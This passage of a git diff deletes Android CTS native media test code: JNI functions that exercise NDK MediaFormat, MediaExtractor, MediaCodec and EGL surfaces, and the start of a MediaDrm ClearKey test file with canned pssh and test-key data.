-    uint8_t *buf = new uint8_t[bufsize];
-    AMediaCodecBufferInfo info;
-    while(true) {
-        int n = AMediaExtractor_readSampleData(ex, buf, bufsize);
-        if (n < 0) {
-            break;
-        }
-        info.offset = 0;
-        info.size = n;
-        info.presentationTimeUs = AMediaExtractor_getSampleTime(ex);
-        info.flags = AMediaExtractor_getSampleFlags(ex);
-
-        size_t idx = (size_t) AMediaExtractor_getSampleTrackIndex(ex);
-        AMediaMuxer_writeSampleData(muxer, idx, buf, &info);
-
-        AMediaExtractor_advance(ex);
-    }
-
-    AMediaExtractor_delete(ex);
-    AMediaMuxer_stop(muxer);
-    AMediaMuxer_delete(muxer);
-    return true;
-
-}
-
-extern "C" jboolean Java_android_media_cts_NativeDecoderTest_testFormatNative(JNIEnv * /*env*/,
-        jclass /*clazz*/) {
-    AMediaFormat* format = AMediaFormat_new();
-    if (!format) {
-        return false;
-    }
-
-    AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_BIT_RATE, 8000);
-    int32_t bitrate = 0;
-    if (!AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_BIT_RATE, &bitrate) || bitrate != 8000) {
-        ALOGE("AMediaFormat_getInt32 fail: %d", bitrate);
-        return false;
-    }
-
-    AMediaFormat_setInt64(format, AMEDIAFORMAT_KEY_DURATION, 123456789123456789LL);
-    int64_t duration = 0;
-    if (!AMediaFormat_getInt64(format, AMEDIAFORMAT_KEY_DURATION, &duration)
-            || duration != 123456789123456789LL) {
-        ALOGE("AMediaFormat_getInt64 fail: %lld", (long long) duration);
-        return false;
-    }
-
-    AMediaFormat_setFloat(format, AMEDIAFORMAT_KEY_FRAME_RATE, 25.0f);
-    float framerate = 0.0f;
-    if (!AMediaFormat_getFloat(format, AMEDIAFORMAT_KEY_FRAME_RATE, &framerate)
-            || framerate != 25.0f) {
-        ALOGE("AMediaFormat_getFloat fail: %f", framerate);
-        return false;
-    }
-
-    const char* value = "audio/mpeg";
-    AMediaFormat_setString(format, AMEDIAFORMAT_KEY_MIME, value);
-    const char* readback = NULL;
-    if (!AMediaFormat_getString(format, AMEDIAFORMAT_KEY_MIME, &readback)
-            || strcmp(value, readback) || value == readback) {
-        ALOGE("AMediaFormat_getString fail");
-        return false;
-    }
-
-    uint32_t foo = 0xdeadbeef;
-    AMediaFormat_setBuffer(format, "csd-0", &foo, sizeof(foo));
-    foo = 0xabadcafe;
-    void *bytes;
-    size_t bytesize = 0;
-    if(!AMediaFormat_getBuffer(format, "csd-0", &bytes, &bytesize)
-            || bytesize != sizeof(foo) || *((uint32_t*)bytes) != 0xdeadbeef) {
-        ALOGE("AMediaFormat_getBuffer fail");
-        return false;
-    }
-
-    return true;
-}
-
-
-extern "C" jboolean Java_android_media_cts_NativeDecoderTest_testPsshNative(JNIEnv * /*env*/,
-        jclass /*clazz*/, int fd, jlong offset, jlong size) {
-
-    AMediaExtractor *ex = AMediaExtractor_new();
-    int err = AMediaExtractor_setDataSourceFd(ex, fd, offset, size);
-    if (err != 0) {
-        ALOGE("setDataSource error: %d", err);
-        return false;
-    }
-
-    PsshInfo* info = AMediaExtractor_getPsshInfo(ex);
-    if (info == NULL) {
-        ALOGI("null pssh");
-        return false;
-    }
-
-    ALOGI("pssh has %zd entries", info->numentries);
-    if (info->numentries != 2) {
-        return false;
-    }
-
-    for (size_t i = 0; i < info->numentries; i++) {
-        PsshEntry *entry = &info->entries[i];
-        ALOGI("entry uuid %02x%02x..%02x%02x, data size %zd",
-                entry->uuid[0],
-                entry->uuid[1],
-                entry->uuid[14],
-                entry->uuid[15],
-                entry->datalen);
-
-        AMediaCrypto *crypto = AMediaCrypto_new(entry->uuid, entry->data, entry->datalen);
-        if (crypto) {
-            ALOGI("got crypto");
-            AMediaCrypto_delete(crypto);
-        } else {
-            ALOGI("no crypto");
-        }
-    }
-    return true;
-}
-
-extern "C" jboolean Java_android_media_cts_NativeDecoderTest_testCryptoInfoNative(JNIEnv * /*env*/,
-        jclass /*clazz*/) {
-
-    size_t numsubsamples = 4;
-    uint8_t key[16] = { 1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4 };
-    uint8_t iv[16] = { 4,3,2,1,4,3,2,1,4,3,2,1,4,3,2,1 };
-    size_t clearbytes[4] = { 5, 6, 7, 8 };
-    size_t encryptedbytes[4] = { 8, 7, 6, 5 };
-
-    AMediaCodecCryptoInfo *ci =
-            AMediaCodecCryptoInfo_new(numsubsamples, key, iv, AMEDIACODECRYPTOINFO_MODE_CLEAR, clearbytes, encryptedbytes);
-
-    if (AMediaCodecCryptoInfo_getNumSubSamples(ci) != 4) {
-        ALOGE("numsubsamples mismatch");
-        return false;
-    }
-    uint8_t bytes[16];
-    AMediaCodecCryptoInfo_getKey(ci, bytes);
-    if (memcmp(key, bytes, 16) != 0) {
-        ALOGE("key mismatch");
-        return false;
-    }
-    AMediaCodecCryptoInfo_getIV(ci, bytes);
-    if (memcmp(iv, bytes, 16) != 0) {
-        ALOGE("IV mismatch");
-        return false;
-    }
-    if (AMediaCodecCryptoInfo_getMode(ci) != AMEDIACODECRYPTOINFO_MODE_CLEAR) {
-        ALOGE("mode mismatch");
-        return false;
-    }
-    size_t sizes[numsubsamples];
-    AMediaCodecCryptoInfo_getClearBytes(ci, sizes);
-    if (memcmp(clearbytes, sizes, sizeof(size_t) * numsubsamples)) {
-        ALOGE("clear size mismatch");
-        return false;
-    }
-    AMediaCodecCryptoInfo_getEncryptedBytes(ci, sizes);
-    if (memcmp(encryptedbytes, sizes, sizeof(size_t) * numsubsamples)) {
-        ALOGE("encrypted size mismatch");
-        return false;
-    }
-    return true;
-}
-
-extern "C" jlong Java_android_media_cts_NativeDecoderTest_createAMediaExtractor(JNIEnv * /*env*/,
-        jclass /*clazz*/) {
-    AMediaExtractor *ex = AMediaExtractor_new();
-    return reinterpret_cast<jlong>(ex);
-}
-
-extern "C" jlong Java_android_media_cts_NativeDecoderTest_createAMediaDataSource(JNIEnv * env,
-        jclass /*clazz*/, jstring jurl) {
-    const char *url = env->GetStringUTFChars(jurl, NULL);
-    if (url == NULL) {
-        ALOGE("GetStringUTFChars error");
-        return 0;
-    }
-
-    AMediaDataSource *ds = AMediaDataSource_newUri(url, 0, NULL);
-    env->ReleaseStringUTFChars(jurl, url);
-    return reinterpret_cast<jlong>(ds);
-}
-
-extern "C" jint Java_android_media_cts_NativeDecoderTest_setAMediaExtractorDataSource(JNIEnv * /*env*/,
-        jclass /*clazz*/, jlong jex, jlong jds) {
-    AMediaExtractor *ex = reinterpret_cast<AMediaExtractor *>(jex);
-    AMediaDataSource *ds = reinterpret_cast<AMediaDataSource *>(jds);
-    return AMediaExtractor_setDataSourceCustom(ex, ds);
-}
-
-extern "C" void Java_android_media_cts_NativeDecoderTest_closeAMediaDataSource(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong ds) {
-    AMediaDataSource_close(reinterpret_cast<AMediaDataSource *>(ds));
-}
-
-extern "C" void Java_android_media_cts_NativeDecoderTest_deleteAMediaExtractor(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong ex) {
-    AMediaExtractor_delete(reinterpret_cast<AMediaExtractor *>(ex));
-}
-
-extern "C" void Java_android_media_cts_NativeDecoderTest_deleteAMediaDataSource(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong ds) {
-    AMediaDataSource_delete(reinterpret_cast<AMediaDataSource *>(ds));
-}
-//
-// === NdkMediaCodec
-
-extern "C" jlong Java_android_media_cts_NdkMediaCodec_AMediaCodecCreateCodecByName(
-        JNIEnv *env, jclass /*clazz*/, jstring name) {
-
-    if (name == NULL) {
-        return 0;
-    }
-
-    const char *tmp = env->GetStringUTFChars(name, NULL);
-    if (tmp == NULL) {
-        return 0;
-    }
-
-    AMediaCodec *codec = AMediaCodec_createCodecByName(tmp);
-    if (codec == NULL) {
-        env->ReleaseStringUTFChars(name, tmp);
-        return 0;
-    }
-
-    env->ReleaseStringUTFChars(name, tmp);
-    return reinterpret_cast<jlong>(codec);
-
-}
-
-extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecDelete(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong codec) {
-    media_status_t err = AMediaCodec_delete(reinterpret_cast<AMediaCodec *>(codec));
-    return err == AMEDIA_OK;
-}
-
-extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecStart(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong codec) {
-    media_status_t err = AMediaCodec_start(reinterpret_cast<AMediaCodec *>(codec));
-    return err == AMEDIA_OK;
-}
-
-extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecStop(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong codec) {
-    media_status_t err = AMediaCodec_stop(reinterpret_cast<AMediaCodec *>(codec));
-    return err == AMEDIA_OK;
-}
-
-extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecConfigure(
-        JNIEnv *env,
-        jclass /*clazz*/,
-        jlong codec,
-        jstring mime,
-        jint width,
-        jint height,
-        jint colorFormat,
-        jint bitRate,
-        jint frameRate,
-        jint iFrameInterval,
-        jobject csd0,
-        jobject csd1,
-        jint flags,
-        jint lowLatency,
-        jobject surface,
-        jint range,
-        jint standard,
-        jint transfer) {
-
-    AMediaFormat* format = AMediaFormat_new();
-    if (format == NULL) {
-        return false;
-    }
-
-    const char *tmp = env->GetStringUTFChars(mime, NULL);
-    if (tmp == NULL) {
-        AMediaFormat_delete(format);
-        return false;
-    }
-
-    AMediaFormat_setString(format, AMEDIAFORMAT_KEY_MIME, tmp);
-    env->ReleaseStringUTFChars(mime, tmp);
-
-    const char *keys[] = {
-            AMEDIAFORMAT_KEY_WIDTH,
-            AMEDIAFORMAT_KEY_HEIGHT,
-            AMEDIAFORMAT_KEY_COLOR_FORMAT,
-            AMEDIAFORMAT_KEY_BIT_RATE,
-            AMEDIAFORMAT_KEY_FRAME_RATE,
-            AMEDIAFORMAT_KEY_I_FRAME_INTERVAL,
-            // need to specify the actual string, since this test needs
-            // to run on API 29, where the symbol doesn't exist
-            "low-latency", // AMEDIAFORMAT_KEY_LOW_LATENCY
-            AMEDIAFORMAT_KEY_COLOR_RANGE,
-            AMEDIAFORMAT_KEY_COLOR_STANDARD,
-            AMEDIAFORMAT_KEY_COLOR_TRANSFER,
-    };
-
-    jint values[] = {width, height, colorFormat, bitRate, frameRate, iFrameInterval, lowLatency,
-                     range, standard, transfer};
-    for (size_t i = 0; i < sizeof(values) / sizeof(values[0]); i++) {
-        if (values[i] >= 0) {
-            AMediaFormat_setInt32(format, keys[i], values[i]);
-        }
-    }
-
-    if (csd0 != NULL) {
-        void *csd0Ptr = env->GetDirectBufferAddress(csd0);
-        jlong csd0Size = env->GetDirectBufferCapacity(csd0);
-        AMediaFormat_setBuffer(format, "csd-0", csd0Ptr, csd0Size);
-    }
-
-    if (csd1 != NULL) {
-        void *csd1Ptr = env->GetDirectBufferAddress(csd1);
-        jlong csd1Size = env->GetDirectBufferCapacity(csd1);
-        AMediaFormat_setBuffer(format, "csd-1", csd1Ptr, csd1Size);
-    }
-
-    media_status_t err = AMediaCodec_configure(
-            reinterpret_cast<AMediaCodec *>(codec),
-            format,
-            surface == NULL ? NULL : ANativeWindow_fromSurface(env, surface),
-            NULL,
-            flags);
-
-    AMediaFormat_delete(format);
-    return err == AMEDIA_OK;
-
-}
-
-extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecSetInputSurface(
-        JNIEnv* env, jclass /*clazz*/, jlong codec, jobject surface) {
-
-    media_status_t err = AMediaCodec_setInputSurface(
-            reinterpret_cast<AMediaCodec *>(codec),
-            ANativeWindow_fromSurface(env, surface));
-
-    return err == AMEDIA_OK;
-
-}
-
-extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecSetNativeInputSurface(
-        JNIEnv* /*env*/, jclass /*clazz*/, jlong codec, jlong nativeWindow) {
-
-    media_status_t err = AMediaCodec_setInputSurface(
-            reinterpret_cast<AMediaCodec *>(codec),
-            reinterpret_cast<ANativeWindow *>(nativeWindow));
-
-    return err == AMEDIA_OK;
-
-}
-
-extern "C" jlong Java_android_media_cts_NdkMediaCodec_AMediaCodecCreateInputSurface(
-        JNIEnv* /*env*/, jclass /*clazz*/, jlong codec) {
-
-    ANativeWindow *nativeWindow;
-    media_status_t err = AMediaCodec_createInputSurface(
-            reinterpret_cast<AMediaCodec *>(codec),
-            &nativeWindow);
-
-     if (err == AMEDIA_OK) {
-         return reinterpret_cast<jlong>(nativeWindow);
-     }
-
-     return 0;
-
-}
-
-extern "C" jlong Java_android_media_cts_NdkMediaCodec_AMediaCodecCreatePersistentInputSurface(
-        JNIEnv* /*env*/, jclass /*clazz*/) {
-
-    ANativeWindow *nativeWindow;
-    media_status_t err = AMediaCodec_createPersistentInputSurface(&nativeWindow);
-
-     if (err == AMEDIA_OK) {
-         return reinterpret_cast<jlong>(nativeWindow);
-     }
-
-     return 0;
-
-}
-
-extern "C" jstring Java_android_media_cts_NdkMediaCodec_AMediaCodecGetOutputFormatString(
-        JNIEnv* env, jclass /*clazz*/, jlong codec) {
-
-    AMediaFormat *format = AMediaCodec_getOutputFormat(reinterpret_cast<AMediaCodec *>(codec));
-    const char *str = AMediaFormat_toString(format);
-    jstring jstr = env->NewStringUTF(str);
-    AMediaFormat_delete(format);
-    return jstr;
-
-}
-
-extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecSignalEndOfInputStream(
-        JNIEnv* /*env*/, jclass /*clazz*/, jlong codec) {
-
-    media_status_t err = AMediaCodec_signalEndOfInputStream(reinterpret_cast<AMediaCodec *>(codec));
-    return err == AMEDIA_OK;
-
-}
-
-extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecReleaseOutputBuffer(
-        JNIEnv* /*env*/, jclass /*clazz*/, jlong codec, jint index, jboolean render) {
-
-    media_status_t err = AMediaCodec_releaseOutputBuffer(
-            reinterpret_cast<AMediaCodec *>(codec),
-            index,
-            render);
-
-    return err == AMEDIA_OK;
-
-}
-
-static jobject AMediaCodecGetBuffer(
-        JNIEnv* env,
-        jlong codec,
-        jint index,
-        uint8_t *(*getBuffer)(AMediaCodec*, size_t, size_t*)) {
-
-    size_t bufsize;
-    uint8_t *buf = getBuffer(
-            reinterpret_cast<AMediaCodec *>(codec),
-            index,
-            &bufsize);
-
-    return env->NewDirectByteBuffer(buf, bufsize);
-
-}
-
-extern "C" jobject Java_android_media_cts_NdkMediaCodec_AMediaCodecGetOutputBuffer(
-        JNIEnv* env, jclass /*clazz*/, jlong codec, jint index) {
-
-    return AMediaCodecGetBuffer(env, codec, index, AMediaCodec_getOutputBuffer);
-
-}
-
-extern "C" jlongArray Java_android_media_cts_NdkMediaCodec_AMediaCodecDequeueOutputBuffer(
-        JNIEnv* env, jclass /*clazz*/, jlong codec, jlong timeoutUs) {
-
-    AMediaCodecBufferInfo info;
-    memset(&info, 0, sizeof(info));
-    int status = AMediaCodec_dequeueOutputBuffer(
-        reinterpret_cast<AMediaCodec *>(codec),
-        &info,
-        timeoutUs);
-
-    jlong ret[5] = {0};
-    ret[0] = status;
-    ret[1] = 0; // NdkMediaCodec calls ABuffer::data, which already adds offset
-    ret[2] = info.size;
-    ret[3] = info.presentationTimeUs;
-    ret[4] = info.flags;
-
-    jlongArray jret = env->NewLongArray(5);
-    env->SetLongArrayRegion(jret, 0, 5, ret);
-    return jret;
-
-}
-
-extern "C" jobject Java_android_media_cts_NdkMediaCodec_AMediaCodecGetInputBuffer(
-        JNIEnv* env, jclass /*clazz*/, jlong codec, jint index) {
-
-    return AMediaCodecGetBuffer(env, codec, index, AMediaCodec_getInputBuffer);
-
-}
-
-extern "C" jint Java_android_media_cts_NdkMediaCodec_AMediaCodecDequeueInputBuffer(
-        JNIEnv* /*env*/, jclass /*clazz*/, jlong codec, jlong timeoutUs) {
-
-    return AMediaCodec_dequeueInputBuffer(
-            reinterpret_cast<AMediaCodec *>(codec),
-            timeoutUs);
-
-}
-
-extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecQueueInputBuffer(
-        JNIEnv* /*env*/,
-        jclass /*clazz*/,
-        jlong codec,
-        jint index,
-        jint offset,
-        jint size,
-        jlong presentationTimeUs,
-        jint flags) {
-
-    media_status_t err = AMediaCodec_queueInputBuffer(
-            reinterpret_cast<AMediaCodec *>(codec),
-            index,
-            offset,
-            size,
-            presentationTimeUs,
-            flags);
-
-    return err == AMEDIA_OK;
-
-}
-
-extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecSetParameter(
-        JNIEnv* env, jclass /*clazz*/, jlong codec, jstring jkey, jint value) {
-
-    AMediaFormat* params = AMediaFormat_new();
-    if (params == NULL) {
-        return false;
-    }
-
-    const char *key = env->GetStringUTFChars(jkey, NULL);
-    if (key == NULL) {
-        AMediaFormat_delete(params);
-        return false;
-    }
-
-    AMediaFormat_setInt32(params, key, value);
-    media_status_t err = AMediaCodec_setParameters(
-            reinterpret_cast<AMediaCodec *>(codec),
-            params);
-    env->ReleaseStringUTFChars(jkey, key);
-    AMediaFormat_delete(params);
-    return err == AMEDIA_OK;
-
-}
-
-// === NdkInputSurface
-
-extern "C" jlong Java_android_media_cts_NdkInputSurface_eglGetDisplay(JNIEnv * /*env*/, jclass /*clazz*/) {
-
-    EGLDisplay eglDisplay = eglGetDisplay(EGL_DEFAULT_DISPLAY);
-    if (eglDisplay == EGL_NO_DISPLAY) {
-        return 0;
-    }
-
-    EGLint major, minor;
-    if (!eglInitialize(eglDisplay, &major, &minor)) {
-        return 0;
-    }
-
-    return reinterpret_cast<jlong>(eglDisplay);
-
-}
-
-extern "C" jlong Java_android_media_cts_NdkInputSurface_eglChooseConfig(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay) {
-
-    // Configure EGL for recordable and OpenGL ES 2.0.  We want enough RGB bits
-    // to minimize artifacts from possible YUV conversion.
-    EGLint attribList[] = {
-            EGL_RED_SIZE, 8,
-            EGL_GREEN_SIZE, 8,
-            EGL_BLUE_SIZE, 8,
-            EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
-            EGL_RECORDABLE_ANDROID, 1,
-            EGL_NONE
-    };
-
-    EGLConfig configs[1];
-    EGLint numConfigs[1];
-    if (!eglChooseConfig(reinterpret_cast<EGLDisplay>(eglDisplay), attribList, configs, 1, numConfigs)) {
-        return 0;
-    }
-    return reinterpret_cast<jlong>(configs[0]);
-
-}
-
-extern "C" jlong Java_android_media_cts_NdkInputSurface_eglCreateContext(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglConfig) {
-
-    // Configure context for OpenGL ES 2.0.
-    int attrib_list[] = {
-            EGL_CONTEXT_CLIENT_VERSION, 2,
-            EGL_NONE
-    };
-
-    EGLConfig eglContext = eglCreateContext(
-            reinterpret_cast<EGLDisplay>(eglDisplay),
-            reinterpret_cast<EGLConfig>(eglConfig),
-            EGL_NO_CONTEXT,
-            attrib_list);
-
-    if (eglGetError() != EGL_SUCCESS) {
-        return 0;
-    }
-
-    return reinterpret_cast<jlong>(eglContext);
-
-}
-
-extern "C" jlong Java_android_media_cts_NdkInputSurface_createEGLSurface(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglConfig, jlong nativeWindow) {
-
-    int surfaceAttribs[] = {EGL_NONE};
-    EGLSurface eglSurface = eglCreateWindowSurface(
-            reinterpret_cast<EGLDisplay>(eglDisplay),
-            reinterpret_cast<EGLConfig>(eglConfig),
-            reinterpret_cast<EGLNativeWindowType>(nativeWindow),
-            surfaceAttribs);
-
-    if (eglGetError() != EGL_SUCCESS) {
-        return 0;
-    }
-
-    return reinterpret_cast<jlong>(eglSurface);
-
-}
-
-extern "C" jboolean Java_android_media_cts_NdkInputSurface_eglMakeCurrent(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface, jlong eglContext) {
-
-    return eglMakeCurrent(
-            reinterpret_cast<EGLDisplay>(eglDisplay),
-            reinterpret_cast<EGLSurface>(eglSurface),
-            reinterpret_cast<EGLSurface>(eglSurface),
-            reinterpret_cast<EGLContext>(eglContext));
-
-}
-
-extern "C" jboolean Java_android_media_cts_NdkInputSurface_eglSwapBuffers(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface) {
-
-    return eglSwapBuffers(
-            reinterpret_cast<EGLDisplay>(eglDisplay),
-            reinterpret_cast<EGLSurface>(eglSurface));
-
-}
-
-extern "C" jboolean Java_android_media_cts_NdkInputSurface_eglPresentationTimeANDROID(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface, jlong nsecs) {
-
-    return eglPresentationTimeANDROID(
-            reinterpret_cast<EGLDisplay>(eglDisplay),
-            reinterpret_cast<EGLSurface>(eglSurface),
-            reinterpret_cast<EGLnsecsANDROID>(nsecs));
-
-}
-
-extern "C" jint Java_android_media_cts_NdkInputSurface_eglGetWidth(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface) {
-
-    EGLint width;
-    eglQuerySurface(
-            reinterpret_cast<EGLDisplay>(eglDisplay),
-            reinterpret_cast<EGLSurface>(eglSurface),
-            EGL_WIDTH,
-            &width);
-
-    return width;
-
-}
-
-extern "C" jint Java_android_media_cts_NdkInputSurface_eglGetHeight(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface) {
-
-    EGLint height;
-    eglQuerySurface(
-            reinterpret_cast<EGLDisplay>(eglDisplay),
-            reinterpret_cast<EGLSurface>(eglSurface),
-            EGL_HEIGHT,
-            &height);
-
-    return height;
-
-}
-
-extern "C" jboolean Java_android_media_cts_NdkInputSurface_eglDestroySurface(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface) {
-
-    return eglDestroySurface(
-            reinterpret_cast<EGLDisplay>(eglDisplay),
-            reinterpret_cast<EGLSurface>(eglSurface));
-
-}
-
-extern "C" void Java_android_media_cts_NdkInputSurface_nativeRelease(
-        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface, jlong eglContext, jlong nativeWindow) {
-
-    if (eglDisplay != 0) {
-
-        EGLDisplay _eglDisplay = reinterpret_cast<EGLDisplay>(eglDisplay);
-        EGLSurface _eglSurface = reinterpret_cast<EGLSurface>(eglSurface);
-        EGLContext _eglContext = reinterpret_cast<EGLContext>(eglContext);
-
-        eglDestroySurface(_eglDisplay, _eglSurface);
-        eglDestroyContext(_eglDisplay, _eglContext);
-        eglReleaseThread();
-        eglTerminate(_eglDisplay);
-
-    }
-
-    ANativeWindow_release(reinterpret_cast<ANativeWindow *>(nativeWindow));
-
-}
-
-extern "C" jboolean Java_android_media_cts_NativeDecoderTest_testMediaFormatNative(
-        JNIEnv * /*env*/, jclass /*clazz*/) {
-
-    AMediaFormat *original = AMediaFormat_new();
-    AMediaFormat *copy = AMediaFormat_new();
-    jboolean ret = false;
-    while (true) {
-        AMediaFormat_setInt64(original, AMEDIAFORMAT_KEY_DURATION, 1234ll);
-        int64_t value = 0;
-        if (!AMediaFormat_getInt64(original, AMEDIAFORMAT_KEY_DURATION, &value) || value != 1234) {
-            ALOGE("format missing expected entry");
-            break;
-        }
-        AMediaFormat_copy(copy, original);
-        value = 0;
-        if (!AMediaFormat_getInt64(copy, AMEDIAFORMAT_KEY_DURATION, &value) || value != 1234) {
-            ALOGE("copied format missing expected entry");
-            break;
-        }
-        AMediaFormat_clear(original);
-        if (AMediaFormat_getInt64(original, AMEDIAFORMAT_KEY_DURATION, &value)) {
-            ALOGE("format still has entry after clear");
-            break;
-        }
-        value = 0;
-        if (!AMediaFormat_getInt64(copy, AMEDIAFORMAT_KEY_DURATION, &value) || value != 1234) {
-            ALOGE("copied format missing expected entry");
-            break;
-        }
-        ret = true;
-        break;
-    }
-    AMediaFormat_delete(original);
-    AMediaFormat_delete(copy);
-    return ret;
-}
diff --git a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
deleted file mode 100644
index f0fb434..0000000
--- a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
+++ /dev/null
@@ -1,1032 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define TAG "NativeMediaDrm"
-
-#include <utils/Log.h>
-#include <sys/types.h>
-
-#include <list>
-#include <string>
-#include <vector>
-
-#include <assert.h>
-#include <jni.h>
-#include <nativehelper/JNIHelp.h>
-#include <sys/stat.h>
-
-#include <android/native_window_jni.h>
-
-#include "AMediaObjects.h"
-
-#include "media/NdkMediaCodec.h"
-#include "media/NdkMediaCrypto.h"
-#include "media/NdkMediaDrm.h"
-#include "media/NdkMediaExtractor.h"
-#include "media/NdkMediaFormat.h"
-#include "media/NdkMediaMuxer.h"
-
-typedef std::vector<uint8_t> Uuid;
-
-struct fields_t {
-    jfieldID surface;
-    jfieldID mimeType;
-    jfieldID audioUrl;
-    jfieldID videoUrl;
-};
-
-struct PlaybackParams {
-    jobject surface;
-    jstring mimeType;
-    jstring audioUrl;
-    jstring videoUrl;
-};
-
-static fields_t gFieldIds;
-static bool gGotVendorDefinedEvent = false;
-static bool gListenerGotValidExpiryTime = false;
-static bool gOnKeyChangeListenerOK = false;
-
-static const char kFileScheme[] = "file://";
-static constexpr size_t kFileSchemeStrLen = sizeof(kFileScheme) - 1;
-static constexpr size_t kPlayTimeSeconds = 30;
-static constexpr size_t kUuidSize = 16;
-
-static const uint8_t kClearKeyUuid[kUuidSize] = {
-    0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
-    0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b
-};
-
-// The test content is not packaged with clearkey UUID,
-// we have to use a canned clearkey pssh for the test.
-static const uint8_t kClearkeyPssh[] = {
-    // BMFF box header (4 bytes size + 'pssh')
-    0x00, 0x00, 0x00, 0x34, 0x70, 0x73, 0x73, 0x68,
-    // full box header (version = 1 flags = 0)
-    0x01, 0x00, 0x00, 0x00,
-    // system id
-    0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
-    0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b,
-    // number of key ids
-    0x00, 0x00, 0x00, 0x01,
-    // key id
-    0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
-    0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
-    // size of data, must be zero
-    0x00, 0x00, 0x00, 0x00
-};
-
-static const uint8_t kKeyRequestData[] = {
-    0x7b, 0x22, 0x6b, 0x69, 0x64,
-    0x73, 0x22, 0x3a, 0x5b, 0x22,
-    0x4d, 0x44, 0x41, 0x77, 0x4d,
-    0x44, 0x41, 0x77, 0x4d, 0x44,
-    0x41, 0x77, 0x4d, 0x44, 0x41,
-    0x77, 0x4d, 0x44, 0x41, 0x77,
-    0x4d, 0x41, 0x22, 0x5d, 0x2c,
-    0x22, 0x74, 0x79, 0x70, 0x65,
-    0x22, 0x3a, 0x22, 0x74, 0x65,
-    0x6d, 0x70, 0x6f, 0x72, 0x61,
-    0x72, 0x79, 0x22, 0x7d
-};
-
-static const size_t kKeyRequestSize = sizeof(kKeyRequestData);
-
-// base 64 encoded JSON response string, must not contain padding character '='
-static const char kResponse[] = "{\"keys\":[{\"kty\":\"oct\"," \
-        "\"kid\":\"MDAwMDAwMDAwMDAwMDAwMA\",\"k\":" \
-        "\"Pwoz80CYueIrwHjgobXoVA\"}]}";
-
-static bool isUuidSizeValid(Uuid uuid) {
-    return (uuid.size() == kUuidSize);
-}
-
-static std::vector<uint8_t> jbyteArrayToVector(
-    JNIEnv* env, jbyteArray const &byteArray) {
-    uint8_t* buffer = reinterpret_cast<uint8_t*>(
-        env->GetByteArrayElements(byteArray, /*is_copy*/NULL));
-    std::vector<uint8_t> vector;
-    for (jsize i = 0; i < env->GetArrayLength(byteArray); ++i) {
-        vector.push_back(buffer[i]);
-    }
-    return vector;
-}
-
-static Uuid jbyteArrayToUuid(JNIEnv* env, jbyteArray const &uuid) {
-    Uuid juuid;
-    juuid.resize(0);
-    if (uuid != NULL) {
-        juuid = jbyteArrayToVector(env, uuid);
-    }
-    return juuid;
-}
-
-static media_status_t setDataSourceFdFromUrl(
-    AMediaExtractor* extractor, const char* url) {
-
-    const char *path = url + kFileSchemeStrLen;
-    FILE* fp = fopen(path, "r");
-    struct stat buf {};
-    media_status_t status = AMEDIA_ERROR_BASE;
-    if (fp && !fstat(fileno(fp), &buf)) {
-      status = AMediaExtractor_setDataSourceFd(
-          extractor,
-          fileno(fp), 0, buf.st_size);
-    } else {
-        status = AMEDIA_ERROR_IO;
-        ALOGE("Failed to convert URL to Fd");
-    }
-    if (fp && fclose(fp) == EOF) {
-        // 0 indicate success, EOF for error
-        ALOGE("Failed to close file pointer");
-    }
-    return status;
-}
-
-static media_status_t setDataSourceFdOrUrl(
-    AMediaExtractor* extractor, const char* url) {
-
-    media_status_t status = AMEDIA_ERROR_BASE;
